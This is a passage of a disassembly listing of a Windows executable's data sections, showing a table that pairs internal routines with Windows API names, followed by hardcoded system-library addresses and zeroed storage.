		dd offset aGetprivatepr_3 ; "GetPrivateProfileIntA"
		dd offset sub_49BD93
		dd offset aGetprivatepr_4 ; "GetPrivateProfileSectionNamesA"
		dd offset sub_49BDDE
		dd offset aGetprivatepr_5 ; "GetPrivateProfileSectionA"
		dd offset sub_49B710
		dd offset aGetfileinfor_0 ; "GetFileInformationByHandle"
		dd offset sub_49B741
		dd offset aLockfile_0	; "LockFile"
		dd offset sub_49B77D
		dd offset aUnlockfile_0	; "UnlockFile"
		dd offset sub_49BA24
		dd offset aGetmodulefil_0 ; "GetModuleFileNameA"
		dd offset sub_49BA5E
		dd offset aGetmodulefil_1 ; "GetModuleFileNameW"
		dd offset sub_49BAEB
		dd offset aGetlongpathn_1 ; "GetLongPathNameA"
		dd offset sub_49BB3D
		dd offset aGetlongpathn_2 ; "GetLongPathNameW"
off_4A23C8	dd offset sub_49C23E	; DATA XREF: sub_49ADD4+116o
		dd offset aAddfontresou_0 ; "AddFontResourceA"
		dd offset sub_49C277
		dd offset aRemovefontre_0 ; "RemoveFontResourceA"
off_4A23D8	dd offset sub_49C1EA	; DATA XREF: sub_49ADD4+12Ao
		dd offset aLoadimagea_0	; "LoadImageA"
off_4A23E0	dd offset sub_49A518	; DATA XREF: sub_49ADD4+13Eo
		dd offset aCocreateinstan ; "CoCreateInstance"
		dd offset sub_49A789
		dd offset aCocreateinst_0 ; "CoCreateInstanceEx"
		dd offset sub_49A8C0
		dd offset aCogetclassobje ; "CoGetClassObject"
off_4A23F8	dd offset sub_49AA34	; DATA XREF: sub_49ADD4+152o
		dd offset aGetrecordinf_0 ; "GetRecordInfoFromGuids"
		dd offset sub_49AB3C
		dd offset aLoadregtypelib ; "LoadRegTypeLib"
aGetfileattri_1	db 'GetFileAttributesExW',0 ; DATA XREF: sub_49B8AA+F0o
		align 10h
aGetlongpathn_0	db 'GetLongPathNameW',0 ; DATA XREF: sub_49BB3D+A8o
		align 4
dword_4A2434	dd 19930520h, 491829h, 158h, 12F578h, 3	dup(0) ; DATA XREF: _4:0048D523o
					; sub_48D52A+2o
off_4A2450	dd offset word_4A245A	; DATA XREF: sub_48D86E:loc_48D8BDr
					; sub_48D86E:loc_48D8CFr ...
		dd offset word_4A245A
		db 2 dup(0)
word_4A245A	dw 20h			; DATA XREF: _6:off_4A2450o
					; _6:004A2454o
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4A265C	dd 1			; DATA XREF: sub_48D86E+3Cr
					; sub_48D9EA:loc_48D9F2r ...
		dd 2Eh,	1, 2 dup(0)
dword_4A2670	dd 77E64C09h		; DATA XREF: sub_48E2E0+1DFw
					; sub_48E2E0+1F6r ...
dword_4A2674	dd 8E0000h		; DATA XREF: _4:0048EED3w _4:0048EF0Fr
dword_4A2678	dd 900000h		; DATA XREF: _4:0048EF0Aw _4:0048EF1Br
dword_4A267C	dd 8F0000h		; DATA XREF: _4:0048EEF4w
dword_4A2680	dd 2			; DATA XREF: _4:0048F0BCr
					; sub_495DC0+59r ...
dword_4A2684	dd 8D1F18h		; DATA XREF: _4:0048F206r
					; _4:loc_48F28Fr ...
dword_4A2688	dd 48EB3Eh		; DATA XREF: sub_48EE50+3r
					; _4:0048EE6Fw
dword_4A268C	dd 0FFFFFFFFh		; DATA XREF: sub_48E2E0+213w
					; sub_48E2E0+387r ...
		dd 0
byte_4A2694	db 0			; DATA XREF: _4:0048F2A1w
					; sub_49681E+Er
		align 4
dword_4A2698	dd 7			; DATA XREF: sub_48E2E0+407w
					; sub_495DC0:loc_495E0Dr
off_4A269C	dd offset a_text	; DATA XREF: sub_48E2E0+410w
					; _4:loc_48FC97r ...
					; ".text"
dword_4A26A0	dd 0			; DATA XREF: sub_48F2E0+8B3o
dword_4A26A4	dd 77E77963h		; DATA XREF: sub_48F2E0+3Aw
					; sub_48F2E0+881o ...
dword_4A26A8	dd 77E7A837h		; DATA XREF: sub_48F2E0+4Ew
					; _4:0048FC0Cr	...
dword_4A26AC	dd 77E779B1h		; DATA XREF: sub_48F2E0+62w
					; _4:0049C39Dr
dword_4A26B0	dd 77E77797h		; DATA XREF: sub_48F2E0+76w
					; _4:0048FC40r	...
dword_4A26B4	dd 77E776D3h		; DATA XREF: sub_48F2E0+8Aw
					; sub_49C4E0+2Cr
dword_4A26B8	dd 77E61BB8h		; DATA XREF: sub_48F2E0+9Ew
					; sub_4981C3+E6r
dword_4A26BC	dd 77EB36A5h		; DATA XREF: sub_48F2E0+B2w
dword_4A26C0	dd 77E73628h		; DATA XREF: sub_48F2E0+C6w
					; sub_49094C+2EAr ...
dword_4A26C4	dd 77F7E21Fh		; DATA XREF: sub_48F2E0+DAw
					; sub_490252+2Ar ...
dword_4A26C8	dd 77E75CB5h		; DATA XREF: sub_48F2E0+EEw
					; sub_49B0C8+AFr
dword_4A26CC	dd 77E78EAAh		; DATA XREF: sub_48F2E0+102w
					; sub_493DD0+5E2r ...
dword_4A26D0	dd 77E75D9Eh		; DATA XREF: sub_48F2E0+116w
					; sub_4906DE+B4r ...
dword_4A26D4	dd 77E75E67h		; DATA XREF: sub_48F2E0+12Aw
					; sub_4906DE+DCr ...
dword_4A26D8	dd 77E73FF9h		; DATA XREF: sub_48F2E0+13Ew
					; sub_4971E1+CFEr
dword_4A26DC	dd 77E76A60h		; DATA XREF: sub_48F2E0+152w
					; sub_4997CA+60r
dword_4A26E0	dd 77E80618h		; DATA XREF: sub_48F2E0+166w
					; sub_4968CF+163r ...
dword_4A26E4	dd 77E79C90h		; DATA XREF: sub_48F2E0+17Aw
					; sub_4981C3+4Br ...
dword_4A26E8	dd 77E80656h		; DATA XREF: sub_48D216+15r
					; sub_48F2E0+18Ew ...
dword_4A26EC	dd 77E7AC5Eh		; DATA XREF: sub_48F2E0+1A2w
dword_4A26F0	dd 77E7FF65h		; DATA XREF: sub_48F2E0+1B6w
dword_4A26F4	dd 77E74CABh		; DATA XREF: sub_48F2E0+1CAw
					; sub_49B7AF+16r
dword_4A26F8	dd 77E78536h		; DATA XREF: sub_48F2E0+1DEw
					; sub_49B7DD+84r
dword_4A26FC	dd 77E72EA0h		; DATA XREF: sub_48F2E0+1F2w
					; sub_491858+83r ...
dword_4A2700	dd 77E793EFh		; DATA XREF: sub_48F2E0+206w
					; _4:0048FC21r	...
dword_4A2704	dd 77E73CE2h		; DATA XREF: sub_48F2E0+21Aw
					; sub_494610+720r
dword_4A2708	dd 77E80357h		; DATA XREF: sub_48F2E0+22Ew
					; sub_490252+71r ...
dword_4A270C	dd 77E781DBh		; DATA XREF: sub_48F2E0+242w
					; sub_49B226+92r
dword_4A2710	dd 77F5157Dh		; DATA XREF: sub_48F2E0+256w
					; sub_4968CF+14Er ...
dword_4A2714	dd 77E7A099h		; DATA XREF: sub_48F2E0+26Aw
					; _4:0048FE99r	...
dword_4A2718	dd 77E79F93h		; DATA XREF: sub_48D271+4Cr
					; _4:0048EE79r	...
dword_4A271C	dd 77E719F3h		; DATA XREF: sub_48F2E0+292w
					; sub_49BD0C+76r
dword_4A2720	dd 77E61FD2h		; DATA XREF: sub_48F2E0+2A6w
					; sub_49BD93+3Br
dword_4A2724	dd 77E72C64h		; DATA XREF: sub_48F2E0+2BAw
					; sub_49BC66+95r
dword_4A2728	dd 77E7A5FDh		; DATA XREF: _4:0048EEA2r
					; sub_48F2E0+2CEw ...
dword_4A272C	dd 77E6167Bh		; DATA XREF: sub_48F2E0+2E2w
					; sub_491C5C+97r ...
dword_4A2730	dd 77E6AF8Fh		; DATA XREF: sub_48F2E0+2F6w
					; sub_49094C+1A6r
dword_4A2734	dd 77E6AD34h		; DATA XREF: sub_48F2E0+30Aw
					; sub_49094C+193r ...
dword_4A2738	dd 77E7C657h		; DATA XREF: sub_48F2E0+31Ew
dword_4A273C	dd 77E7751Ah		; DATA XREF: _4:0048EEDFr
					; sub_48F2E0+332w
dword_4A2740	dd 77F516F8h		; DATA XREF: sub_48F2E0+346w
					; sub_49935A+1Fr
dword_4A2744	dd 77F51597h		; DATA XREF: sub_48F2E0+35Aw
					; sub_4993DD+1Cr
dword_4A2748	dd 77E7C726h		; DATA XREF: sub_48F2E0+36Ew
					; sub_499397+16r
dword_4A274C	dd 77E79908h		; DATA XREF: sub_48F2E0+382w
					; sub_493DD0+2Er ...
dword_4A2750	dd 77F53275h		; DATA XREF: sub_48F2E0+396w
					; sub_49C82A+2Br
dword_4A2754	dd 77F7E300h		; DATA XREF: sub_48F2E0+3AAw
					; sub_49061F+5r ...
dword_4A2758	dd 77E805B8h		; DATA XREF: sub_48F2E0+3D2w
					; sub_4971E1+17Fr
dword_4A275C	dd 77E805D8h		; DATA XREF: sub_48F2E0+3BEw
					; sub_48F2E0+5D0r ...
dword_4A2760	dd 77E79881h		; DATA XREF: sub_48F2E0+3E6w
dword_4A2764	dd 77E79A45h		; DATA XREF: sub_48F2E0+3FAw
					; sub_499864+9r
dword_4A2768	dd 77E64E2Bh		; DATA XREF: sub_48F2E0+40Ew
					; sub_49B741+23r
dword_4A276C	dd 77E74D76h		; DATA XREF: sub_48F2E0+422w
					; _4:0048FC5Dr	...
dword_4A2770	dd 77E77CCEh		; DATA XREF: sub_48F2E0+436w
					; sub_49AA34+69r ...
dword_4A2774	dd 77E706B7h		; DATA XREF: sub_48F2E0+44Aw
dword_4A2778	dd 77E6D706h		; DATA XREF: _4:0048EE93r _4:0048EEBCr ...
dword_4A277C	dd 77E78B82h		; DATA XREF: sub_48F2E0+472w
					; _4:00491B0Br	...
dword_4A2780	dd 77E6BD68h		; DATA XREF: sub_48F2E0+486w
dword_4A2784	dd 77E74A3Bh		; DATA XREF: sub_48F2E0+49Aw
					; sub_49C3FC+57r
dword_4A2788	dd 77E78C81h		; DATA XREF: sub_48F2E0+4AEw
					; sub_491346+74r ...
dword_4A278C	dd 77F51587h		; DATA XREF: sub_48F2E0+4C2w
					; sub_490252+3BCr ...
dword_4A2790	dd 77E7C9E7h		; DATA XREF: sub_48F2E0+4D6w
					; sub_499C17+8r ...
dword_4A2794	dd 77E61BE6h		; DATA XREF: sub_48D271+137r
					; sub_48D271+16Ar ...
dword_4A2798	dd 77E616B4h		; DATA XREF: sub_48F2E0+4FEw
					; sub_499401+2Dr ...
dword_4A279C	dd 77E64EA0h		; DATA XREF: sub_48F2E0+512w
					; sub_49B77D+23r
dword_4A27A0	dd 77E75090h		; DATA XREF: sub_48F2E0+526w
					; sub_48FDE4:loc_48FDEEr ...
dword_4A27A4	dd 77E7980Ah		; DATA XREF: sub_48F2E0+53Aw
					; sub_490FBF+125r ...
dword_4A27A8	dd 77E79E34h		; DATA XREF: sub_48F2E0+54Ew
					; sub_490ECD+91r ...
dword_4A27AC	dd 77E6169Ah		; DATA XREF: sub_48F2E0+562w
					; sub_490FBF+14Br ...
dword_4A27B0	dd 77E7F044h		; DATA XREF: sub_48F2E0+576w
					; sub_499EF3+56r
dword_4A27B4	dd 77E79D5Bh		; DATA XREF: sub_48F2E0+58Aw
dword_4A27B8	dd 77E79924h		; DATA XREF: sub_48F2E0+59Ew
					; sub_49B226+6Ar ...
dword_4A27BC	dd 77E79D8Ch		; DATA XREF: sub_48F2E0+5B2w
					; sub_49094C+282r ...
dword_4A27C0	dd 77E76A2Eh		; DATA XREF: sub_48F2E0+5C6w
					; sub_492CC4+1E2r ...
dword_4A27C4	dd 77D98E9Ah		; DATA XREF: sub_48F2E0+5FFw
					; sub_499401+Br ...
dword_4A27C8	dd 77D44D9Bh		; DATA XREF: sub_48F2E0+613w
					; sub_490252+88r ...
dword_4A27CC	dd 77D4D42Bh		; DATA XREF: sub_48F2E0+627w
					; sub_49C1EA+44r
dword_4A27D0	dd 77D6ADD7h		; DATA XREF: sub_48F2E0+63Bw
					; sub_499401+1Er ...
dword_4A27D4	dd 77D4C96Ah		; DATA XREF: sub_48F2E0+64Fw
					; sub_498494+5Dr ...
dword_4A27D8	dd 77D4C783h		; DATA XREF: sub_48F2E0+663w
					; sub_49948C+45r ...
dword_4A27DC	dd 77C87425h		; DATA XREF: sub_48F2E0+69Cw
					; sub_49094C+2D4r
dword_4A27E0	dd 77C7212Fh		; DATA XREF: sub_48D15E+41r
					; sub_48F2E0+6B0w ...
dword_4A27E4	dd 77C76551h		; DATA XREF: sub_48F2E0+6C4w
					; sub_496456+1D1r
dword_4A27E8	dd 77C72C6Bh		; DATA XREF: sub_48D15E+8Ar
					; sub_48F2E0+6D8w ...
dword_4A27EC	dd 77C87887h		; DATA XREF: sub_48F2E0+6ECw
					; sub_490D24+E6r ...
dword_4A27F0	dd 77D458EEh		; DATA XREF: sub_48D15E+38r
					; sub_48F2E0+700w
dword_4A27F4	dd 77D458FDh		; DATA XREF: sub_48D15E+97r
					; sub_48F2E0+714w
dword_4A27F8	dd 77C7506Dh		; DATA XREF: sub_48D15E+2Br
					; sub_48D271+26r ...
dword_4A27FC	dd 77C71BB0h		; DATA XREF: sub_48D15E+53r
					; sub_48D15E+81r ...
dword_4A2800	dd 77C72889h		; DATA XREF: sub_48D271+175r
					; sub_48F2E0+750w
dword_4A2804	dd 77C729E2h		; DATA XREF: sub_48D15E+75r
					; sub_48F2E0+764w
dword_4A2808	dd 77D45CBCh		; DATA XREF: sub_48D216+Fr
					; sub_48F2E0+778w
dword_4A280C	dd 77D48977h		; DATA XREF: sub_48D216+41r
					; sub_48F2E0+78Cw
dword_4A2810	dd 77D47F34h		; DATA XREF: sub_48D216+4Ar
					; sub_48F2E0+7A0w
dword_4A2814	dd 77D4DCCCh		; DATA XREF: sub_48D271+5Cr
					; sub_48F2E0+7B4w
dword_4A2818	dd 77D477C0h		; DATA XREF: sub_48D271+64r
					; sub_48D271+6Fr ...
dword_4A281C	dd 77D414D4h		; DATA XREF: sub_48D271+E9r
					; sub_48F2E0+7DCw
dword_4A2820	dd 77D44200h		; DATA XREF: sub_48D271+105r
					; sub_48F2E0+7F0w
dword_4A2824	dd 77D43DD3h		; DATA XREF: sub_48D271+123r
					; sub_48F2E0+804w
dword_4A2828	dd 77D441F2h		; DATA XREF: sub_48D271+12Dr
					; sub_48F2E0+818w
dword_4A282C	dd 77D49A11h		; DATA XREF: sub_48D216+31r
					; sub_48F2E0+82Cw
dword_4A2830	dd 77D47627h		; DATA XREF: sub_48D271+157r
					; sub_48F2E0+840w
dword_4A2834	dd 77D46F5Bh		; DATA XREF: sub_48F2E0+854w
dword_4A2838	dd 77D442CFh		; DATA XREF: _4:0048F2C7r
					; sub_48F2E0+868w
dword_4A283C	dd 77E7AC37h		; DATA XREF: sub_48D3F3+45r
					; sub_48F2E0+87Cw
dword_4A2840	dd 0			; DATA XREF: sub_48F2E0+888o
byte_4A2844	db 0			; DATA XREF: sub_490166+69o
					; sub_490166+7Fw ...
		align 4
		dd 20h dup(0)
dword_4A28C8	dd 77FC5940h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_490252+25o
					; sub_49061Fo ...
dword_4A28E0	dd 950538h		; DATA XREF: sub_490ECD+25r
					; sub_490ECD+5Dr ...
dword_4A28E4	dd 9500A8h		; DATA XREF: sub_490036+50r
					; sub_490036+8Er ...
dword_4A28E8	dd 9502F0h		; DATA XREF: sub_49094C:loc_490A1Er
					; sub_49094C+10Br ...
dword_4A28EC	dd 950780h		; DATA XREF: sub_49063E+7Er
					; sub_4906DE+25r ...
dword_4A28F0	dd 0			; DATA XREF: sub_493D50+8r
					; sub_493D50+19r
dword_4A28F4	dd 0			; DATA XREF: sub_493D50+10r
dword_4A28F8	dd 910048h		; DATA XREF: _4:00491A28r _4:00491AFFr ...
dword_4A28FC	dd 920090h		; DATA XREF: sub_493DD0+660w
					; _6:off_4A1B80o
dword_4A2900	dd 930098h		; DATA XREF: sub_493DD0+67Ew
					; _6:004A1B98o
dword_4A2904	dd 9400A0h		; DATA XREF: sub_493DD0+69Dw
					; _6:004A1BB0o
dword_4A2908	dd 8D2518h		; DATA XREF: sub_490252+34r
					; sub_490252+5Er ...
dword_4A290C	dd 8D3140h		; DATA XREF: sub_493DD0+227w
					; sub_493DD0+235r ...
dword_4A2910	dd 4000F0h		; DATA XREF: sub_494610+D8w
					; sub_494610+DEr ...
dword_4A2914	dd 0			; DATA XREF: sub_495D70+4r
					; sub_495D70+Cw ...
dword_4A2918	dd 2 dup(0)		; DATA XREF: sub_48D271+DDo
					; sub_49BD0C+37o
dword_4A2920	dd 0			; DATA XREF: sub_498333+11r
					; sub_498494+22w ...
		align 8
dword_4A2928	dd 0			; DATA XREF: sub_496BD7+3ABw
					; sub_496BD7+3DBw ...
		align 10h
dword_4A2930	dd 77FC5880h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_48E2E0+3B3o
					; sub_4971E1+73o ...
dword_4A2948	dd 0			; DATA XREF: sub_498333+24w
					; sub_498333+29r ...
dword_4A294C	dd 8D23B8h		; DATA XREF: sub_496BD7+22Ar
					; sub_496FCD+12r ...
dword_4A2950	dd 8D2478h		; DATA XREF: sub_49ADD4+F6w
dword_4A2954	dd 8D2418h		; DATA XREF: sub_4968CF+1Ar
					; sub_496BD7:loc_496D97r ...
dword_4A2958	dd 0			; DATA XREF: sub_4971E1+D0Dw
					; sub_4981C3+5Fr
dword_4A295C	dd 0			; DATA XREF: sub_4968A0+3r
					; sub_4968A0+1Dw ...
dword_4A2960	dd 0			; DATA XREF: sub_496BD7+3B5r
					; sub_496BD7+3C6w ...
dword_4A2964	dd 0			; DATA XREF: sub_4971E1+82r
					; sub_4971E1+E3r ...
dword_4A2968	dd 0			; DATA XREF: sub_4971E1+105r
					; sub_4971E1+10Bw ...
dword_4A296C	dd 0			; DATA XREF: sub_49713C+5r
					; sub_49714D+Ar ...
dword_4A2970	dd 0			; DATA XREF: sub_498333+9Br
					; sub_498494+9Ew ...
dword_4A2974	dd 0			; DATA XREF: sub_498333+A8r
					; sub_498494+CCw ...
dword_4A2978	dd 0			; DATA XREF: sub_498333+BAr
					; sub_498494+FAw ...
dword_4A297C	dd 0			; DATA XREF: sub_498333+D4r
					; sub_498494+128w ...
dword_4A2980	dd 0			; DATA XREF: sub_498333+F0r
					; sub_498333+10Cr ...
dword_4A2984	dd 0			; DATA XREF: sub_498333+11Er
					; sub_498333+135r ...
dword_4A2988	dd 0			; DATA XREF: sub_498333+3Fr
					; sub_498494+1B2w ...
dword_4A298C	dd 0			; DATA XREF: sub_498333+5Dr
					; sub_498494+1E0w ...
dword_4A2990	dd 0			; DATA XREF: sub_498333+13Dr
					; sub_498494+20Ew ...
dword_4A2994	dd 0			; DATA XREF: sub_498333+1Er
					; sub_498494+23Cw ...
dword_4A2998	dd 0			; DATA XREF: sub_498333+C2r
					; sub_498333+FFr ...
dword_4A299C	dd 0			; DATA XREF: sub_498333+6Br
					; sub_498494+298w ...
dword_4A29A0	dd 20h dup(0)		; DATA XREF: sub_498333+CFo
					; sub_498494+45o ...
dword_4A2A20	dd 0			; DATA XREF: sub_499892+27w
					; sub_499892+32r
		align 8
dword_4A2A28	dd 77FC5860h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_48E2E0+3A8o
					; sub_49948C+6o ...
byte_4A2A40	db 0			; DATA XREF: sub_499892+7r
					; sub_499892+15r ...
		align 4
dword_4A2A44	dd 8D0000h		; DATA XREF: sub_499397+4r
					; sub_499397+22w ...
dword_4A2A48	dd 46Fh	dup(0)		; DATA XREF: sub_49948C+11o
					; sub_4994F7+5o
dword_4A3C04	dd 0B91h dup(0)		; CODE XREF: _5:0049F2F8j
dword_4A6A48	dd 0			; DATA XREF: sub_499892+7Cr
					; sub_499892+82w ...
		align 10h
dword_4A6A50	dd 0			; DATA XREF: sub_48D15E+25r
					; sub_48D15E+4Ar ...
dword_4A6A54	dd 0			; DATA XREF: sub_48D216+23r
					; sub_48D216+2Br ...
dword_4A6A58	dd 2 dup(0)		; DATA XREF: sub_48D3F3+32o
dword_4A6A60	dd 0			; DATA XREF: sub_48D271+2Cw
					; sub_48D271+57o
		align 8
dword_4A6A68	dd 0			; DATA XREF: sub_48D271+36w
		dd 2 dup(0)
dword_4A6A74	dd 0			; DATA XREF: sub_48D271+52w
		dd 4 dup(0)
dword_4A6A88	dd 0			; DATA XREF: sub_48D271+40w
		align 10h
dword_4A6A90	dd 0ECh	dup(0)		; DATA XREF: sub_499EF3+28o
					; sub_499EF3+42o ...
byte_4A6E40	db 0			; DATA XREF: sub_49A0EF+71w
					; sub_49A0EF+8Fr
byte_4A6E41	db 0			; DATA XREF: sub_49A0EF+7Bw
byte_4A6E42	db 0			; DATA XREF: sub_49A0EF+85w
		align 4
		dd 13h dup(0)
dword_4A6E90	dd 42h dup(0)		; DATA XREF: sub_49A0EF+Bo
					; sub_49A0EF+17o ...
dword_4A6F98	dd 40h dup(0)		; DATA XREF: sub_49A638+ABo
					; sub_49A71C+5Do
dword_4A7098	dd 77FC5A00h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_49A638+25o
					; sub_49A696o ...
dword_4A70B0	dd 0			; DATA XREF: sub_49A638+34r
					; sub_49A638+4Ew ...
		align 8
dword_4A70B8	dd 77FC59E0h, 0		; DATA XREF: sub_49ADD4+6o
					; sub_49B0C8+25o
		dd 1, 0D4h, 2 dup(0)
byte_4A70D0	db 1			; DATA XREF: sub_49AC54:loc_49AC64r
					; sub_49B0C8+30w
		align 4
dword_4A70D4	dd 8D2110h		; DATA XREF: sub_4963D0+Dr
					; sub_4963D0+26r ...
dword_4A70D8	dd 8D2358h		; DATA XREF: sub_4960D0+264r
					; sub_49ADD4+72w ...
dword_4A70DC	dd 0			; DATA XREF: sub_48E2E0+3FDw
dword_4A70E0	dd 0			; DATA XREF: sub_49C677+2Fw
					; sub_49C677+47r
byte_4A70E4	db 0			; DATA XREF: sub_49C677+4r
					; sub_49C677+12r ...
		align 4
dword_4A70E8	dd 0			; DATA XREF: sub_48DA80+28r
					; sub_48DA80+4Cw ...
		dd 2 dup(0)
dword_4A70F4	dd 0			; DATA XREF: sub_48D86E+4r
					; sub_48D86E+9Dr ...
		dd 3 dup(0)
dword_4A7104	dd 0			; DATA XREF: sub_48DA80+C0r
					; sub_48DDBF+A6r
		dd 0
dword_4A710C	dd 0			; DATA XREF: sub_48DDBF+26r
					; sub_48DDBF:loc_48DE29w
_6		ends

; Section 8. (virtual address 000A8000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000A7200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4A8000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start